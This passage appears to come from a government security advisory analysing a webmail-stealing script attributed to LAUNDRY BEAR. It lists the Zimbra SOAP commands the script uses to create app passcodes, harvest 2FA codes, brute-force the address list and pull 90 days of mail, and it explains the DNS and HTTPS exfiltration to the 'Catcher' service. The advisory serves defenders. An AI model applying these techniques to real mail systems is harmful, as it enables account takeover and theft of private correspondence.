<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>SearchGalRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.</p>
<p>During the <em>gather_environment</em> stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in <a href="https://www.cisa.gov/#table2"><strong>Table 2</strong></a>) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 2: ZCS webmail client types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Indicator </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Client Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p><strong>Associated Value </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>?client=advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Advanced </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/h/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Standard </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>h </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>/modern/ </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>Modern </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW28945023 BCX8">
<div class="OutlineElement Ltr SCXW28945023 BCX8">
<p>m </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&amp;meta=0&amp;query=date:-{DAY_OFFSET}d AND (not in:junk)”. The <em>{DAY_OFFSET}</em> value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of <em>zd_comp_YYYY-MM-DD</em>, and value of <em>true</em>, is saved to the <em>window.top.localStorage</em> property. This variable is saved regardless of whether the email is successfully exfiltrated.  </p>
<p>According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a <em>{DAY_OFFSET} </em>of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section.</p>
<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. 